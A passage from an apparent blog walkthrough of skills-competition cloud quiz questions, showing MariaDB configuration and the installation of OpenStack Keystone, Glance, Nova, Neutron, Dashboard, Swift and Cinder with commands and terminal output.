class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"># # This group is read both both by the client and the server # use it for options that affect everything # [client-server] # # This group is read by the server # [mysqld] # Disabling symbolic-links is recommended to prevent assorted security risks lower_case_table_names = 1 innodb_buffer_pool_size = 4G innodb_log_buffer_size = 64M innodb_log_file_size = 256M innodb_log_files_in_group = 2 symbolic-links=0 default-storage-engine = innodb innodb_file_per_table collation-server = utf8_general_ci init-connect = 'SET NAMES utf8' character-set-server = utf8 max_connections=10000 default-storage-engine = innodb innodb_file_per_table collation-server = utf8_general_ci init-connect = 'SET NAMES utf8' character-set-server = utf8 max_connections=10000 # # include all files from the config directory # !includedir /etc/my.cnf.d </code></pre></td></tr></table> </div> </div>Finally we Save it. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:wq </code></pre></td></tr></table> </div> </div>The quiz was sovled! <blockquote> <h4 id="question-6-keystone-service-installation-and-usage-05-points">[Question 6] Keystone Service Installation and Usage [0.5 points]</h4> Use the <code>iaas-install-keystone.sh</code> script on the controller node to install the Keystone service. After installation, use the relevant commands to create a user named chinaskill with the password <code>000000</code>. Upon completion, submit the username, password, and IP address of the controller node in the answer box. </blockquote> To install the Keystone service, we need to run the <code>iaas-install-keystone.sh</code> script: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-keystone.sh </code></pre></td></tr></table> </div> </div>If the installation is successful, the information backed should be like: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">...... Complete! Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service. +-------------+----------------------------------+ | Field | Value | +-------------+----------------------------------+ | description | Default Domain | | enabled | True | | id | ff38535aa995441d8641b24d86881583 | | name | demo | | options | {} | | tags | [] | +-------------+----------------------------------+ +-------------+----------------------------------+ | Field | Value | +-------------+----------------------------------+ | description | Admin project | | domain_id | ff38535aa995441d8641b24d86881583 | | enabled | True | | id | b0787807ee924b179cc02799bc595d38 | | is_domain | False | | name | myadmin | | options | {} | | parent_id | ff38535aa995441d8641b24d86881583 | | tags | [] | +-------------+----------------------------------+ +---------------------+----------------------------------+ | Field | Value | +---------------------+----------------------------------+ | domain_id | ff38535aa995441d8641b24d86881583 | | enabled | True | | id | 7b4df65fc3ac4d4e8a764c74f0178153 | | name | myadmin | | options | {} | | password_expires_at | None | +---------------------+----------------------------------+ +-------------+----------------------------------+ | Field | Value | +-------------+----------------------------------+ | description | Service Project | | domain_id | ff38535aa995441d8641b24d86881583 | | enabled | True | | id | 4eca281ad75c45669f8b178f0d26944d | | is_domain | False | | name | service | | options | {} | | parent_id | ff38535aa995441d8641b24d86881583 | | tags | [] | +-------------+----------------------------------+ +-------------+----------------------------------+ | Field | Value | +-------------+----------------------------------+ | description | Demo Project | | domain_id | ff38535aa995441d8641b24d86881583 | | enabled | True | | id | 1256dce1e4c843b99cf50e0739308313 | | is_domain | False | | name | demo | | options | {} | | parent_id | ff38535aa995441d8641b24d86881583 | | tags | [] | +-------------+----------------------------------+ +---------------------+----------------------------------+ | Field | Value | +---------------------+----------------------------------+ | domain_id | ff38535aa995441d8641b24d86881583 | | enabled | True | | id | c9f1413519a84c8ba0f9efd4d3f8d728 | | name | demo | | options | {} | | password_expires_at | None | +---------------------+----------------------------------+ +-------------+----------------------------------+ | Field | Value | +-------------+----------------------------------+ | description | None | | domain_id | None | | id | 7ad524a1308d4089a01347dbf09d2044 | | name | user | | options | {} | +-------------+----------------------------------+ +------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | Field | Value | +------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | expires | 2023-05-05T14:51:32+0000 | | id | gAAAAABkVQnk9i7FQoKaw9VKNqZuEbVOmoaE-bCPPYlEy-kBqZyxOmk9o3PKLt6IxyCnfU9jO_dvd7yMpGl9LuhaXqiFHycPiIUSCoP-har-EhxmH1IUWK303DcD6jGi4GvBufnTtx7tYIIJgrA-NdMCRJu2lkSnKxCwmvI8pjz7drBwnxDl9Ps | | project_id | b0787807ee924b179cc02799bc595d38 | | user_id | 7b4df65fc3ac4d4e8a764c74f0178153 | +------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </code></pre></td></tr></table> </div> </div>After the installation, we need to create a user named ‘chinaskill’ according to the question. So, first we use the <code>source</code> command to read the variables of <code>Keystone</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# source /etc/keystone/admin-openrc.sh </code></pre></td></tr></table> </div> </div>Then create the user by using <code>openstack</code> command <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# openstack user create --domain demo --password-prompt chinaskill </code></pre></td></tr></table> </div> </div>Then type the password <code>000000</code>, you will get these information: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">User Password: Repeat User Password: +---------------------+----------------------------------+ | Field | Value | +---------------------+----------------------------------+ | domain_id | ff38535aa995441d8641b24d86881583 | | enabled | True | | id | 206814a5dfba4a9194701d124a815ca3 | | name | chinaskill | | options | {} | | password_expires_at | None | +---------------------+----------------------------------+ </code></pre></td></tr></table> </div> </div>It means that you create the user successfully! And this quiz was also solved! <blockquote> <h4 id="question-7-glance-installation-and-usage-05-points">[Question 7] Glance Installation and Usage [0.5 points]</h4> Use the <code>iaas-install-glance.sh</code> script on the controller node to install the glance service. Use the command to upload the provided <code>cirros-0.3.4-x86_64-disk.img</code> image (which is available on an HTTP service and can be downloaded independently) to the platform, name it cirros, and set the minimum required disk size for startup to 10G and the minimum required memory for startup to 1G. After completion, submit the username, password, and IP address of the controller node to the answer box. </blockquote> Well, it’s a little chanllenging, isn’t it? But don’t worry, we do the installation at first: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-glance.sh </code></pre></td></tr></table> </div> </div>Then we download the <code>cirros-0.3.4-x86_64-disk.img</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# cd ~ [root@controller ~]# wget http://192.168.56.100/img/cirros-0.3.4-x86_64-disk.img </code></pre></td></tr></table> </div> </div>Confirm the filename: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# ls -lh total 13M -rw-------. 1 root root 1.3K May 4 16:09 anaconda-ks.cfg -rw-r--r-- 1 root root 13M Apr 27 2022 cirros-0.3.4-x86_64-disk.img </code></pre></td></tr></table> </div> </div>Then we execute the command to upload the image: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# openstack image create --disk-format qcow2 --container-format bare --min-disk 10 --min-ram 1024 --file ./cirros-0.3.4-x86_64-disk.img cirros </code></pre></td></tr></table> </div> </div>Then you will see the result returned by terminal: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">+------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | Field | Value | +------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | checksum | ee1eca47dc88f4879d8a229cc70a07c6 | | container_format | bare | | created_at | 2023-05-05T15:01:42Z | | disk_format | qcow2 | | file | /v2/images/62102ae0-27c3-4bc1-ad87-44be814237f4/file | | id | 62102ae0-27c3-4bc1-ad87-44be814237f4 | | min_disk | 10 | | min_ram | 1024 | | name | cirros | | owner | b0787807ee924b179cc02799bc595d38 | | properties | os_hash_algo='sha512', os_hash_value='1b03ca1bc3fafe448b90583c12f367949f8b0e665685979d95b004e48574b953316799e23240f4f739d1b5eb4c4ca24d38fdc6f4f9d8247a2bc64db25d6bbdb2', os_hidden='False' | | protected | False | | schema | /v2/schemas/image | | size | 13287936 | | status | active | | tags | | | updated_at | 2023-05-05T15:01:42Z | | virtual_size | None | | visibility | shared | +------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </code></pre></td></tr></table> </div> </div>It means the operation is finished and successful! Now this quiz was solved! <blockquote> <h4 id="question-8-nova-installation-and-optimization-05-points">[Question 8] Nova Installation and Optimization [0.5 points]</h4> Use the <code>iaas-install-placement.sh</code>, <code>iaas-install-nova-controller.sh</code>, and <code>iaas-install-nova-compute.sh</code> scripts to install the Nova service on the controller node and compute node respectively. After installation, please modify the relevant Nova configuration files to solve the problem of virtual machine startup timeout due to long waiting time, which leads to failure to obtain IP address and error reporting. After configuring, submit the username, password, and IP address of the controller node to the answer box. </blockquote> We should run <code>iaas-install-placement.sh</code> script in controller node to install the placment service at first: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# cd /usr/local/bin/ [root@controller bin]# ./iaas-install-placement.sh </code></pre></td></tr></table> </div> </div>After installation of placement, we should run <code>iaas-install-nova-controller.sh</code> script to install nova service in controller node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-nova-controller.sh </code></pre></td></tr></table> </div> </div>Then we should install nova service in compute node, but before that we should copy the public key of controller node to it. So we run: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute ~]# ssh-copy-id root@controller </code></pre></td></tr></table> </div> </div>Then run <code>iaas-install-nova-compute.sh</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute ~]# cd /usr/local/bin/ [root@compute bin]# ./iaas-install-nova-compute.sh </code></pre></td></tr></table> </div> </div>Installed! <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">+----+--------------+---------+------+---------+-------+------------+ | ID | Binary | Host | Zone | Status | State | Updated At | +----+--------------+---------+------+---------+-------+------------+ | 6 | nova-compute | compute | nova | enabled | up | None | +----+--------------+---------+------+---------+-------+------------+ Found 2 cell mappings. Skipping cell0 since it does not contain hosts. Getting computes from cell 'cell1': d955f2a9-ec41-4ea0-b72a-8f3c38977c2e Checking host mapping for compute host 'compute': c17f7c5c-5821-4891-b6ca-a6684b028db1 Creating host mapping for compute host 'compute': c17f7c5c-5821-4891-b6ca-a6684b028db1 Found 1 unmapped computes in cell: d955f2a9-ec41-4ea0-b72a-8f3c38977c2e </code></pre></td></tr></table> </div> </div>Then run the check command in controller to verify if the nova service installed successfully! <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# source /etc/keystone/admin-openrc.sh [root@controller bin]# openstack compute service list </code></pre></td></tr></table> </div> </div>And you will see the hostname of compute node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">+----+----------------+------------+----------+---------+-------+----------------------------+ | ID | Binary | Host | Zone | Status | State | Updated At | +----+----------------+------------+----------+---------+-------+----------------------------+ | 4 | nova-conductor | controller | internal | enabled | up | 2023-05-06T03:14:27.000000 | | 5 | nova-scheduler | controller | internal | enabled | up | 2023-05-06T03:14:28.000000 | | 6 | nova-compute | compute | nova | enabled | up | 2023-05-06T03:14:25.000000 | +----+----------------+------------+----------+---------+-------+----------------------------+ </code></pre></td></tr></table> </div> </div>Ok, now we should do the final operation, edit the file <code>/etc/nova/nova.conf</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# vim /etc/nova/nova.conf </code></pre></td></tr></table> </div> </div>Just simply change <code>#vif_plugging_is_fatal=true</code> to <code>vif_plugging_is_fatal=false</code>, but we can use vim command quickly: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:%s/#vif_plugging_is_fatal=true/vif_plugging_is_fatal=false/g </code></pre></td></tr></table> </div> </div>And save it! <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:wq </code></pre></td></tr></table> </div> </div>So we solved a quiz again! Congratulations! <blockquote> <h4 id="question-9-neutron-installation-05-points">[Question 9] Neutron Installation [0.5 points]</h4> Using the provided scripts <code>iaas-install-neutron-controller.sh</code> and <code>iaas-install-neutron-compute.sh</code>, install the neutron service on the controller and compute nodes. After completion, submit the username, password, and IP address of the control node to the answer box. </blockquote> This quiz is easy, just run the scripts in each nodes: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-neutron-controller.sh </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# ./iaas-install-neutron-compute.sh </code></pre></td></tr></table> </div> </div>Then the Neutron Service was installed successfully! Quiz Solved! <blockquote> <h4 id="question-10-installation-of-doshboard-05-points">[Question 10] Installation of Doshboard [0.5 points]</h4> Use the <code>iaas-install-dashboad.sh</code> script to install the dashboard service on the controller node. After installation, modify the Djingo data in the Dashboard to be stored in a file (this modification solves the problem of ALL-in-one snapshots not being accessible in other cloud platform dashboards). After completion, submit the username, password and IP address of the controller node to the answer box. </blockquote> Run <code>iaas-install-dashboad.sh</code> script: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-dashboard.sh </code></pre></td></tr></table> </div> </div>Edit the file <code>/etc/openstack-dashboard/local_settings</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# vim /etc/openstack-dashboard/local_settings </code></pre></td></tr></table> </div> </div>Replace <code>SESSION_ENGINE = 'django.contrib.sessions.backends.cache'</code> to <code>SESSION_ENGINE = 'django.contrib.sessions.backends.file'</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:%s/SESSION_ENGINE = 'django.contrib.sessions.backends.cache'/SESSION_ENGINE = 'django.contrib.sessions.backends.file'/g </code></pre></td></tr></table> </div> </div>Save the file: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim">:wq </code></pre></td></tr></table> </div> </div>And visit the Dashboard by browser <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">http://192.168.56.2/dashboard </code></pre></td></tr></table> </div> </div>You will see the login page. Login with username <code>admin</code> and password <code>000000</code>. Then Dashboard was installed successfully. <blockquote> <h4 id="question-11-swift-installation-05-points">[Question 11] Swift Installation [0.5 points]</h4> Use the <code>iaas-install-swift-controller.sh</code> and <code>iaas-install-swift-compute.sh</code> scripts to install the Swift service on the control and compute nodes respectively. After installation, use a command to create a container named “examcontainer”, upload the <code>cirros-0.3.4-x86_64-disk.img</code> image to the “examcontainer” container, and set segment storage with a size of <code>10M</code> for each segment. Once completed, submit the username, password, and IP address of the control node to the answer box. </blockquote> At first we need to create partitions in compute node We need to check the disks: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# fdisk -l </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">Disk /dev/sda: 53.7 GB, 53687091200 bytes, 104857600 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x000d6c03 Device Boot Start End Blocks Id System /dev/sda1 * 2048 2099199 1048576 83 Linux /dev/sda2 2099200 104857599 51379200 8e Linux LVM Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/sdc: 3221 MB, 3221225472 bytes, 6291456 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/mapper/centos-root: 48.4 GB, 48444211200 bytes, 94617600 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk /dev/mapper/centos-swap: 4160 MB, 4160749568 bytes, 8126464 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes </code></pre></td></tr></table> </div> </div>We’ll get information below: <ul> <li> <code>/dev/sdb</code> is a disk with a size of 21.5 GB and no partitions. </li> <li> <code>/dev/sdc</code> is a disk with a size of 3221 MB (3.2 GB) and no partitions. </li> </ul> We need create 2 partitions in <code>sdb</code>: <code>sdb1</code> and <code>sdb2</code> <code>sdb1</code> for cinder and <code>sdb2</code> for swift. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# fdisk /dev/sdb Welcome to fdisk (util-linux 2.23.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Device does not contain a recognized partition table Building a new DOS disklabel with disk identifier 0xe8f17fde. Command (m for help): n Partition type: p primary (0 primary, 0 extended, 4 free) e extended Select (default p): p Partition number (1-4, default 1): First sector (2048-41943039, default 2048): +10G Last sector, +sectors or +size{K,M,G} (20971520-41943039, default 41943039): Using default value 41943039 Partition 1 of type Linux and of size 10 GiB is set Command (m for help): n Partition type: p primary (1 primary, 0 extended, 3 free) e extended Select (default p): p Partition number (2-4, default 2): First sector (2048-41943039, default 2048): Using default value 2048 Last sector, +sectors or +size{K,M,G} (2048-20971519, default 20971519): Using default value 20971519 Partition 2 of type Linux and of size 10 GiB is set Command (m for help): p Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0xe8f17fde Device Boot Start End Blocks Id System /dev/sdb1 20971520 41943039 10485760 83 Linux /dev/sdb2 2048 20971519 10484736 83 Linux Partition table entries are not in disk order Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks. </code></pre></td></tr></table> </div> </div>Format the partitions: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# mkfs.ext4 /dev/sdb1 mke2fs 1.42.9 (28-Dec-2013) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 655360 inodes, 2621440 blocks 131072 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=2151677952 80 block groups 32768 blocks per group, 32768 fragments per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# mkfs.ext4 /dev/sdb2 mke2fs 1.42.9 (28-Dec-2013) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 655360 inodes, 2621184 blocks 131059 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=2151677952 80 block groups 32768 blocks per group, 32768 fragments per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done </code></pre></td></tr></table> </div> </div>Then run <code>iaas-install-swift-controller.sh</code> and <code>iaas-install-swift-compute.sh</code> scripts: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-swift-controller.sh </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# ./iaas-install-swift-compute.sh </code></pre></td></tr></table> </div> </div>Back to <code>/root</code> directory(Or other location of <code>cirros-0.3.4-x86_64-disk.img</code>): <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# cd ~ </code></pre></td></tr></table> </div> </div>Create a container named <code>examcontainer</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller ~]# swift post examcontainer </code></pre></td></tr></table> </div> </div>Upload the cirros-0.3.4-x86_64-disk.img image to the “examcontainer” container, and set segment storage with a size of 10M for each segment. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3">[root@controller ~]# swift upload examcontainer -S 10000000 cirros-0.3.4-x86_64-disk.img </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">cirros-0.3.4-x86_64-disk.img segment 1 cirros-0.3.4-x86_64-disk.img segment 0 cirros-0.3.4-x86_64-disk.img </code></pre></td></tr></table> </div> </div>Then it’s finished. <blockquote> <h4 id="question-12-creating-a-cinder-volume-05-points">[Question 12] Creating a Cinder volume [0.5 points]</h4> Using the <code>iaas-install-cinder-controller.sh</code> and <code>iaas-install-cinder-compute.sh</code> scripts, install the Cinder service on both the control node and compute node. On the compute node, expand the block storage by creating an additional 5GB partition and adding it to the back-end storage for Cinder block storage. After completion, submit the username, password, and IP address of the compute node to the answer box. </blockquote> Install the Cinder Service in controller node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@controller bin]# ./iaas-install-cinder-controller.sh </code></pre></td></tr></table> </div> </div>Install the Cinder Service in compute node: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# ./iaas-install-cinder-compute.sh </code></pre></td></tr></table> </div> </div>Check if succeed: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[root@compute bin]# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 50G 0 disk ├─sda1 8:1 0 1G 0 part /boot └─sda2 8:2 0 49G 0 part ├─centos-root 253:0 0 45.1G 0 lvm / └─centos-swap 253:1 0 3.9G 0 lvm [SWAP] sdb 8:16 0 20G 0 disk ├─sdb1 8:17 0 10G 0 part │ ├─cinder--volumes-cinder--volumes--pool_tmeta 253:2 0 12M 0 lvm │ │ └─cinder--volumes-cinder--volumes--pool 253:4 0 9.5G 0 lvm │ └─cinder--volumes-cinder--volumes--pool_tdata 253:3 0 9.5G 0 lvm │ └─cinder--volumes-cinder--volumes--pool 253:4 0 9.5G 0 lvm └─sdb2 8:18 0 10G 0 part /swift/node/sdb2 sdc 8:32 0 3G 0 disk sr0 11:0 1 1024M 0 rom 